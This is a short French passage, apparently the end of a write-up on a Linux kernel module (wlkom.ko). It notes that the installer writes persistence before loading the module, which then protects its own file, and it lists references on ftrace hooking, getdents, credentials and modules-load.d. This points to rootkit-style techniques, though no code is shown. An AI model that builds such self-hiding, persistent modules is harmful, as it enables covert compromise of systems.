L'installateur écrit la persistance avant insmod. Cela paraît étrange, mais c'est nécessaire: une fois actif, le module protège aussi /lib/modules/.../wlkom.ko.

Références:

Liens rapides

SujetRéférence
Modules externesdocs.kernel.org - External Modules
Kbuilddocs.kernel.org - Kbuild
ftracedocs.kernel.org - ftrace
Hooks ftracedocs.kernel.org - Using ftrace to hook to functions
Kprobesdocs.kernel.org - Kprobes
VFSdocs.kernel.org - VFS
Filesystems APIdocs.kernel.org - Filesystems API summary
Allocations mémoiredocs.kernel.org - Memory Allocation Guide
Memory Management APIsdocs.kernel.org - MM API
Syscallsman7 - syscalls(2)
getdentsman7 - getdents(2)
readman7 - read(2)
readvman7 - readv(2)
openatman7 - openat(2)
mmapman7 - mmap(2)
Credentialsdocs.kernel.org - Credentials
Networking kAPIdocs.kernel.org - Networking kAPI
FNVRFC 9923
modules-load.dfreedesktop.org - modules-load.d
modprobe.dman7 - modprobe.d(5)